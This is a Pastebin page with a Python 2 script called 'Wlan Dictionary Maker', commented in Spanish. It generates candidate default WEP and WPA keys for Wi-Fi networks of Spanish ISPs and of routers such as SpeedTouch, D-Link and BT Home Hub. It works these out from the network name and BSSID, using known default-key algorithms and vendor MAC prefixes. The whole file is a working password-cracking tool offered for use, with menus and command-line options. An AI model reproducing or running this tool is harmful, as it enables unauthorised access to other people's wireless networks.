Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- #
- # Escrito por kenkeiras
- # Bajo la licencia GPLv3
- import string
- import sys
- #################################################################
- # Esto elimina esos molestos ':' de la bssid
- def clean_bssid(bssid):
- new=[]
- i=0
- for element in bssid:
- if element!=':':
- new.append(element)
- i=i+1
- return new
- #################################################################
- # Esto comprueba que la mac/bssid tenga la longitud adecuada
- def check_bssid(bssid,num):
- if len(bssid)==num:
- return True
- else:
- return False
- #################################################################
- # Pasa un string a hexadecimal
- def ascii2hex(arr):
- lst=[]
- for element in arr:
- elm=string.join(hex(ord(element)),"")
- lst.append(elm[2:len(elm)])
- return string.join(lst,"")
- ##################################################################
- # Esto va haciendo pasar a un array de enteros por todos los valores
- def permute_int(array,num):
- new=array
- while num>0:
- if new[num]!=9:
- new[num]+=1
- break
- else:
- new[num]=int(0)
- num-=1
- return new
- ##################################################################
- # Esto va haciendo pasar a un array de caracteres por todos los valores decimales
- def permute_text_int(array,num):
- new=array
- while num>0:
- if new[num]!='9':
- new[num]=chr(ord(new[num])+1)
- break
- else:
- new[num]='0'
- num-=1
- return new
- ##################################################################
- # Esto va haciendo pasar a un array de caracteres en minuscula por todos los valores
- def permute_lowcase(array,num):
- new=array
- while num>0:
- if new[num]!='z':
- new[num]=chr(ord(new[num])+1)
- break
- else:
- new[num]='a'
- num-=1
- return new
- ##################################################################
- # Esto va haciendo pasar a un array de caracteres por todos los valores hexadecimales
- def permute_hex(array,num):
- new=array
- while num>0:
- if new[num]!='F':
- if new[num]=='9':
- new[num]='A'
- else:
- new[num]=chr(ord(new[num])+1)
- break
- else:
- new[num]='0'
- num-=1
- return new
- ##################################################################
- # Esto va haciendo pasar a un array de caracteres por todos los caracteres y numeros
- def permute_comp(array,num):
- new=array
- while num>0:
- if new[num]!='Z':
- if new[num]=='9':
- new[num]='A'
- else:
- new[num]=chr(ord(new[num])+1)
- break
- else:
- new[num]='0'
- num-=1
- return new
- ###################################################################
- # Cambia todas las letras de un array de caracteres hexadecimales a mayuscula
- def hex_upcase(array):
- new=[]
- for element in array:
- if element<='9':
- new.append(element)
- else:
- if element>='a':
- if element=='a':
- new.append('A')
- elif element=='b':
- new.append('B')
- elif element=='c':
- new.append('C')
- elif element=='d':
- new.append('D')
- elif element=='e':
- new.append('E')
- elif element=='f':
- new.append('F')
- else:
- new.append(element)
- return new
- ##################################################################
- # Muestra un array
- def strshow(array):
- print string.join(array,'')
- ##################################################################
- #
- # Aqui empieza lo interesante... ;)}
- #
- ##################################################################
- # WLAN
- # Para las redes WLAN_XX y JAZZTEL_XX
- # Esto va preparando las contrasenhas y las va pasando al strshow para que las muestre
- def show_wlan(p1,p2,end):
- act=[]
- fin=[]
- passwd=range(13)
- for char in p1:
- act.append(char)
- fin.append(char)
- i=0
- while (i<4):
- act.append('0')
- fin.append('F')
- i+=1
- for char in p2:
- act.append(char)
- for char in end:
- fin.append(char)
- if (p2=="00"):
- offset=12
- else:
- offset=10
- while (act!=fin):
- i=0
- for char in act:
- passwd[i]=str(char)
- i+=1
- strshow(passwd)
- if act[11:13]==fin[11:13]:
- act=permute_hex(act,offset)
- else:
- act=permute_hex(act,offset)
- strshow(fin)
- ##################################################################
- # Esto recibe la mac, busca el modelo del router y manda el principio de la contrasenha y el final (que viene de la funcion que wlan) a show_wlan
- # Nota: se espera que el primer par de la bssid sea 00, asi que ya no se comprueba
- def get_wlan_bssid(mac,chars,end):
- # Z-Com
- #
- if (mac[2]=='6' and mac[3]=='0' and mac[4]=='B' and mac[5]=='3'):
- show_wlan('Z001349',chars,end)
- # Xavy
- #
- elif (mac[2]=='0' and mac[3]=='1' and mac[4]=='3' and mac[5]=='8'):
- show_wlan('X000138',chars,end)
- # Comtrend
- #
- elif (mac[2]=='0' and mac[3]=='3' and mac[4]=='C' and mac[5]=='9'):
- show_wlan('C0030DA',chars,end)
- # Zyxel
- # ->(thefkboss)
- elif (mac[2]=='A' and mac[3]=='0' and mac[4]=='C' and mac[5]=='5'):
- show_wlan('Z001349',chars,end)
- # Comtrend (otro mas)
- # ->(dnreinad)
- elif (mac[2]=='1' and mac[3]=='6' and mac[4]=='3' and mac[5]=='8'):
- show_wlan('C0030DA',chars,end)
- # P-660-HW-D1
- # ->(Tertulia de foro.elhacker.net)
- elif (mac[2]=='1' and mac[3]=='3' and mac[4]=='4' and mac[5]=='9'):
- show_wlan('Z001349',chars,end)
- show_wlan('Z0002CF',chars,end)
- # ZyGate
- #
- elif (mac[2]=='0' and mac[3]=='2' and mac[4]=='C' and mac[5]=='F'):
- show_wlan('Z0002CF',chars,end)
- show_wlan('Z0023F8',chars,end)
- # Jazztel
- elif (mac[2]=='1' and mac[3]=='A' and mac[4]=='2' and mac[5]=='B'):
- show_wlan('E001D20',chars,end)
- # Y Comtrend 2007-2008
- # ->(dudux* y dnreinad)
- show_wlan('C0030DA',chars,end)
- show_wlan('C001D20',chars,end)
- # ZyGate
- # ->(pianista y Sycho)
- elif (mac[2]=='1' and mac[3]=='9' and mac[4]=='C' and mac[5]=='B'):
- show_wlan('Z0002CF',chars,end)
- show_wlan('Z0019CB',chars,end)
- # Comtrend
- # ->(hrodgar)
- elif (mac[2]=='1' and mac[3]=='9' and mac[4]=='1' and mac[5]=='5'):
- show_wlan('C0030DA',chars,end)
- # Comtrend 2008
- # ->(Mugen de el foro.elhacker.net)
- elif (mac[2]=='3' and mac[3]=='0' and mac[4]=='D' and mac[5]=='A'):
- show_wlan('C0030DA',chars,end)
- # Comtrend 2008
- #
- elif (mac[2]=='1' and mac[3]=='D' and mac[4]=='2' and mac[5]=='0'):
- show_wlan('C001D20',chars,end)
- # Zyxel P660HW-D1 2009
- # ->(Zim_Zum y buckynet de seguridadwireless.net)
- elif (mac[2]=='2' and mac[3]=='3' and mac[4]=='F' and mac[5]=='8'):
- show_wlan('C0023F8',chars,end)
- # Xavy 2009
- # ->(zim_zum y *dudux)
- elif (mac[2]=='0' and mac[3]=='1' and mac[4]=='3' and mac[5]=='6'):
- show_wlan('X000138',chars,end)
- else:
- print >> sys.stderr, "Error, MAC comenzada por 00:"+str(mac[2])+str(mac[3])+":"+str(mac[4])+str(mac[5])+" no encontrada!!"
- ##################################################################
- # Esto limpia la mac y coje lo interesante de la essid y lo manda todo a get_wlan_bssid
- def wlan(essid,bssid):
- mac=range(12)
- variable_chars=[]
- end=[]
- if (essid[len(essid)-1])=='?':
- end.append('F')
- end.append('F')
- variable_chars.append('0')
- variable_chars.append('0')
- else:
- variable_chars.append(essid[len(essid)-2])
- variable_chars.append(essid[len(essid)-1])
- end=variable_chars
- mac=clean_bssid(bssid)
- mac=hex_upcase(mac)
- variable_chars=string.join(variable_chars,'')
- end=string.join(end,'')
- if check_bssid(mac,12)==False:
- print >> sys.stderr, "La mac tiene que llevar 6 parejas de 2 caracteres (12 en total)"
- else:
- get_wlan_bssid(mac,variable_chars,end)
- ###################################################################
- # Este es el menu de las funciones de WLAN
- def menu_wlan():
- print >> sys.stderr,"Introduce la MAC del router:",
- mac=raw_input('')
- print >> sys.stderr,"Introduce el nombre de la red (?? si no se conoce):",
- essid=raw_input('')
- wlan(essid,mac)
- ###################################################################
- # r-wlan
- # Para las redes r-wlan
- # Este se encarga de todo el proceso de r-wlan (prepara las strings inicial y final y va mandandolas todas a strshow)
- def r_wlan(opc,init=0,end=0):
- passwd=range(12)
- if opc=='a':
- act=[int(init[0]),int(init[1]),int(init[2]),int(init[3]),0,0,0,0]
- fin=[int(end[0]),int(end[1]),int(end[2]),int(end[3]),9,9,9,9]
- else:
- act=[0,0,0,0,0,0,0,0]
- fin=[9,9,9,9,9,9,9,9]
- passwd[8:12]='00000'
- while (act!=fin):
- i=0
- for caja in act:
- passwd[i]=str(caja)
- i+=1
- strshow(passwd)
- act=permute_int(act,7)
- #Y una ultima vez para la ultima string
- i=0
- for caja in act:
- passwd[i]=str(caja)
- i+=1
- strshow(passwd)
- ###############################################################
- # Muestra las opciones para las redes r-wlan
- def menu_r_wlan():
- opc=''
- init=''
- end=''
- while (opc!='g' and opc!='a'):
- print >> sys.stderr,"Que tipo de diccionario prefieres, general(g) o por anhos(a)?",
- opc=raw_input('')
- if opc=='a':
- print >> sys.stderr,"Introduce anho incicial (4 digitos):",
- init=raw_input('')
- print >> sys.stderr,"Introduce anho final (4 digitos):",
- end=raw_input('')
- r_wlan(opc,init,end)
- ###################################################################
- # ADSL
- # Para las redes ADSLXXXX
- # Esto se encarga de todo el proceso, comprueba que existe la libreria de hash, la importa y le va pasando los valores
- def adsl_wlan(essid):
- haymd5=True
- essid_vars=range(4)
- try:
- import hashlib
- except:
- print >> sys.stderr, "No se ha encontrado el modulo de funciones hash."
- haymd5=False
- if haymd5:
- i=4
- j=0
- act=range(8)
- while i>0:
- essid_vars[j]=essid[len(essid)-i]
- j+=1
- i-=1
- i=0
- while i<4:
- act[i]='a'
- i+=1
- while i<8:
- act[i]=essid_vars[i-4]
- i+=1
- fin=False
- while not fin:
- act=permute_lowcase(act,3)
- print hashlib.md5(str(act)).hexdigest()
- i=0
- j=0
- while i<4:
- if act[i]=='z':
- j+=1
- i+=1
- if j==4:
- fin=True
- ################################################################
- # Esto es el menu para las ADSL
- def menu_adsl_wlan():
- print >> sys.stderr,"Introduce el nombre de la red:",
- essid=raw_input('')
- adsl_wlan(essid)
- ################################################################
- # DLink
- # Para las redes DLINK-WIRELESS
- # Devuelve las dos posibles contrasenhas predefinidas a partir de la bssid
- def dlink_wlan(bssid,auto):
- # Ojo, que la master Key real es la misma pero con todos los valores +1
- # pero esto esta asi para que funcione bien con los arrays de python
- master_key=[5,0,4,1,2,3,5,4,1,2,3,0,2]
- mac=clean_bssid(bssid)
- mac=hex_upcase(mac)
- if check_bssid(mac,12)==False:
- print >> sys.stderr, "La mac tiene que llevar 6 parejas de 2 caracteres (12 en total)"
- else:
- ppas=[mac[0:2],mac[2:4],mac[4:6],mac[6:8],mac[8:10],mac[10:12]]
- if auto==False:
- print >> sys.stderr, "Prueba con esta:\n",
- for num in master_key:
- print str(ppas[num][0])+str(ppas[num][1]),
- print ''
- if ppas[2][1]!='0' or ppas[2][0]!='0':
- if auto==False:
- print >> sys.stderr, "Y con esta:",
- print ""
- i=0
- j=0
- for num in master_key:
- if i==12:
- j=-1
- else:
- j=0
- if not (j==-1 and (ppas[num][1]=='A' or ppas[num][1]=='0')):
- print str(ppas[num][0])+str(chr(ord(ppas[num][1])+j)),
- elif ppas[num][1]=='A':
- print str(ppas[num][0])+"9",
- else:
- print str(chr(ord(ppas[num][0])+j))+"F",
- i+=1
- ############################################################
- # Menu para las D-link
- def menu_dlink_wlan():
- print >> sys.stderr,"Introduce la MAC del router:",
- mac=raw_input('')
- dlink_wlan(mac,False)
- ############################################################
- # ONO
- # Para las redes PXXXXXXXXXXXXX
- # Devuelve la contrasenha por defecto de estas redes. (No comprueba si el essid es correcto, lo unico que hace es eliminar la P y restarle 1 a lo que queda)
- def ono_wlan(essid,auto):
- i=0
- nov=[]
- for algo in essid:
- if algo!='P' and algo!='p':
- ult=int(algo)
- nov.append(algo)
- if ult!=0:
- ult-=1
- nov[len(nov)-1]=str(ult)
- if auto==False:
- print >> sys.stderr, "Prueba con esta: ",
- for byte in nov:
- print byte,
- #################################################################
- # Menu para las redes de ONO
- def menu_ono_wlan():
- print >> sys.stderr,"Introduce el Nombre de la red:",
- essid=raw_input('')
- ono_wlan(essid,False)
- #################################################################
- # Tele2
- # Para las redes de Tele2
- # Va preparando las contrasenhas predeterminadas posibles y mandandolas a strshow
- def tele2_wlan(opc):
- act=range(9)
- fin=range(9)
- i=1
- while (i<9):
- act[i]='0'
- i+=1
- i=1
- while (i<9):
- fin[i]='9'
- i+=1
- if opc=='7':
- act[0]=opc
- fin[0]=opc
- elif opc=='8':
- act[0:2]='PV'
- fin[0:2]='PV'
- else:
- act[0]='0'
- fin[0]='9'
- passwd=range(13)
- passwd[0:4]="IX1V"
- while (act!=fin):
- i=4
- for char in act:
- passwd[i]=str(char)
- i+=1
- strshow(passwd)
- act=permute_text_int(act,8)
- #################################################################
- # Menu para las Tele2
- def menu_tele2_wlan():
- opc=''
- while (opc!='g' and opc!='7' and opc!='8'):
- print >> sys.stderr,"Que tipo de diccionario prefieres, general(g), el de 2007(7), el de 2008(8)?",
- opc=raw_input('')
- tele2_wlan(opc)
- #################################################################
- # SpeedTouch
- # Para redes SpeedTouch
- # ->Algoritmo descubierto por Kevin Devine
- # Funcion general
- def speed_touch_wlan(ssid,num,inicio,fin):
- lib=True
- try:
- import hashlib
- except:
- lib=False
- print >> sys.stderr, "No se encontro la libreria de hashes"
- if lib:
- endyear=[]
- passwd=range(9)
- endyear.append(fin[0])
- endyear.append(fin[1])
- essid=ssid[len(ssid)-num:len(ssid)]
- essid=essid.lower()
- true_endyear=permute_text_int(endyear,1)
- passwd[0:2]="CP"
- passwd[2:4]=string.join(inicio,"") # Anho de inicio
- while passwd[2:4]!=true_endyear:
- passwd[4:6]="00"
- while string.join(passwd[4:6],"")!="53":
- passwd[6:9]="000"
- while string.join(passwd[6:9],"")!="ZZZ":
- check_speedTouch(passwd,essid,num)
- permute_comp(passwd,8)
- check_speedTouch(passwd,essid,num)
- permute_text_int(passwd,5)
- check_speedTouch(passwd,essid,num)
- permute_text_int(passwd,3)
- #################################################################
- # Funcion de comprobacion de las redes SpeedTouch
- def check_speedTouch(pas,essid,num):
- import hashlib
- correct=True
- hexpas=range(12)
- hexpas[0:6]=pas[0:6]
- hexpas[6:12]=ascii2hex(pas[6:9])
- out=hashlib.sha1(string.join(hexpas,"")).hexdigest()
- chk=string.join(out[len(out)-num:len(out)],"")
- if essid==chk:
- if num==6:
- print str(out[0:10].upper())
- else:
- print str(out[0:10].lower())
- #################################################################
- # Menu para las redes SpeedTouch
- def menu_speed_touch_wlan():
- print >> sys.stderr,"Introduce el nombre de la red:",
- essid=raw_input("")
- print >> sys.stderr,"Introduce el anho por el que se comenzara la busqueda (por ejemplo 05):",
- inicio=raw_input("")
- print >> sys.stderr,"Introduce el ultimo anho de la busqueda (por ejemplo 09):",
- fin=raw_input("")
- speed_touch_wlan(essid,6,inicio,fin)
- #################################################################
- # Menu para las redes BTHomeHub
- # El resto del codigo se usa el de SpeedTouch
- def menu_bthh_wlan():
- print >> sys.stderr,"Introduce el nombre de la red:",
- essid=raw_input("")
- print >> sys.stderr,"Introduce el anho por el que se comenzara la busqueda (por ejemplo 05):",
- inicio=raw_input("")
- print >> sys.stderr,"Introduce el ultimo anho de la busqueda (por ejemplo 09):",
- fin=raw_input("")
- speed_touch_wlan(essid,4,inicio,fin)
- #################################################################
- # Mensaje de error (para cualquier error en los parametros)
- def error_param():
- print >> sys.stderr, "Error, parametros no validos."
- print >> sys.stderr, "Ejecuta el script con -? para mostrar las opciones."
- #################################################################
- # Mensaje de... ayuda?
- def wdic_ayuda():
- print >> sys.stderr, " Wlan Dictionary Maker"
- print >> sys.stderr, " Opciones:\n"
- print >> sys.stderr, " Sin argumentos: Ejecuta el script a traves de los menus.\n"
- print >> sys.stderr, " =>Para redes WLAN o JAZZTEL: wdic.py wlan essid bssid"
- print >> sys.stderr, " essid: Nombre de la red Wifi (?? si no se conoce)."
- print >> sys.stderr, " bssid: Bssid de el punto de acceso.\n"
- print >> sys.stderr, " =>Para redes R: wdic.py r -opc [anho_inicial] [anho_final]"
- print >> sys.stderr, " Opc: -g para diccionario general, -a para diccionario por anhos."
- print >> sys.stderr, " Anho final e inicial con 4 digitos.\n"
- print >> sys.stderr, " =>Para redes ADSL: wdic.py adsl essid"
- print >> sys.stderr, " essid: Nombre de la red Wifi."
- print >> sys.stderr, " ->Salida en hexadecimal.\n"
- print >> sys.stderr, " =>Para redes DLINK-WIRELESS: wdic.py dlink bssid"
- print >> sys.stderr, " bssid: Bssid de el punto de acceso."
- print >> sys.stderr, " ->Salida en hexadecimal.\n"
- print >> sys.stderr, " =>Para redes ONO (PXXXXXXXXXXXX): wdic.py ono essid"
- print >> sys.stderr, " essid: Nombre de la red Wifi.\n"
- print >> sys.stderr, " =>Para redes Tele2: wdic.py tele2 opc "
- print >> sys.stderr, " Opc: g para diccionario general, 7 para diccionario de 2007 y 8 para el de 2008.\n"
- print >> sys.stderr, " Anho final e inicial con 2 digitos.\n"
- print >> sys.stderr, " =>Para redes SpeedTouch: wdic.py speedtouch essid anho_inicial anho_final"
- print >> sys.stderr, " essid: Nombre de la red Wifi.\n"
- print >> sys.stderr, " =>Para redes BT Home Hub: wdic.py bthh essid anho_inicial anho_final"
- print >> sys.stderr, " essid: Nombre de la red Wifi.\n"
- print >> sys.stderr, " ->Nota: Cuando pide el nombre de la red solo coje la parte que cambia, asi que por ejemplo en WLAN_AB se podria poner simplemente AB\n"
- #################################################################
- # Menu general del script
- def menu():
- print >> sys.stderr, "Bienvenid@ a Wlan Dictionary Maker.\n"
- fin=False
- while (fin==False):
- print >> sys.stderr, "\tSelecciona un tipo de Wifi.\n"
- print >> sys.stderr, "\tWEP\n"
- print >> sys.stderr, "\t a) WLAN_XX"
- print >> sys.stderr, "\t b) JAZZTEL_XX"
- print >> sys.stderr, "\t c) R-WLANXX"
- print >> sys.stderr, "\t d) ADSLXXXX"
- print >> sys.stderr, "\t e) DLINK-WIRELESS"
- print >> sys.stderr, "\t f) PXXXXXXXXX\t(ONO)\n"
- print >> sys.stderr, "\tWPA\n"
- print >> sys.stderr, "\t g) Tele2"
- print >> sys.stderr, "\t h) SpeedTouch"
- print >> sys.stderr, "\t i) BTHomeHub"
- print >> sys.stderr, "\t x) Salir"
- print >> sys.stderr, '\n->',
- opc=raw_input('')
- if (opc=='a'):
- menu_wlan()
- elif (opc=='b'):
- menu_wlan()
- elif (opc=='c'):
- menu_r_wlan()
- elif (opc=='d'):
- menu_adsl_wlan()
- elif (opc=='e'):
- menu_dlink_wlan()
- elif (opc=='f'):
- menu_ono_wlan()
- elif (opc=='g'):
- menu_tele2_wlan()
- elif (opc=='h'):
- menu_speed_touch_wlan()
- elif (opc=='i'):
- menu_bthh_wlan()
- elif (opc=='x'):
- fin=True
- else:
- print >> sys.stderr, "\n+-----------------------+"
- print >> sys.stderr, "| Opcion no encontrada. |"
- print >> sys.stderr, "+-----------------------+\n"
- print >> sys.stderr, " -> Pulsa enter para continuar.\n"
- if not fin:
- raw_input()
- # Listo, de aqui hasta abajo solo se encarga de comprobar que argumentos se mandaron y lanzar las funciones
- try:
- argc=len(sys.argv)
- except:
- argc=1
- # Sin parametros (menu):
- if argc==1:
- menu()
- # Ayuda:
- elif argc==2 and sys.argv[1]=="-?":
- wdic_ayuda()
- ###### WEP ######
- # Wlan y Jazztel:
- elif sys.argv[1]=='wlan':
- if argc==4:
- wlan(sys.argv[2],sys.argv[3])
- else:
- error_param()
- # R:
- elif sys.argv[1]=='r':
- if argc>2:
- if sys.argv[2]=='-a':
- r_wlan('a',sys.argv[3],sys.argv[4])
- elif sys.argv[2]=='-g':
- r_wlan('g')
- else:
- error_param()
- else:
- error_param()
- # ADSL:
- elif sys.argv[1]=='adsl':
- if argc==3:
- adsl_wlan(sys.argv[2])
- else:
- error_param()
- # D-Link
- elif sys.argv[1]=='dlink':
- if argc==3:
- dlink_wlan(sys.argv[2],True)
- else:
- error_param()
- # ONO
- elif sys.argv[1]=='ono':
- if argc==3:
- ono_wlan(sys.argv[2],True)
- else:
- error_param()
- ###### WPA ######
- # Tele2:
- elif sys.argv[1]=='tele2':
- if argc==3:
- tele2_wlan(sys.argv[2])
- else:
- error_param()
- # SpeedTouch:
- elif sys.argv[1]=='speedtouch':
- if argc==5:
- speed_touch_wlan(sys.argv[2],6,sys.argv[3],sys.argv[4])
- else:
- error_param()
- # SpeedTouch:
- elif sys.argv[1]=='speedtouch':
- if argc==5:
- speed_touch_wlan(sys.argv[2],6,sys.argv[3],sys.argv[4])
- else:
- error_param()
- # BT Home Hub:
- elif sys.argv[1]=='bthh':
- if argc==5:
- speed_touch_wlan(sys.argv[2],4,sys.argv[3],sys.argv[4])
- else:
- error_param()
- # Sino...
- else:
- error_param()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement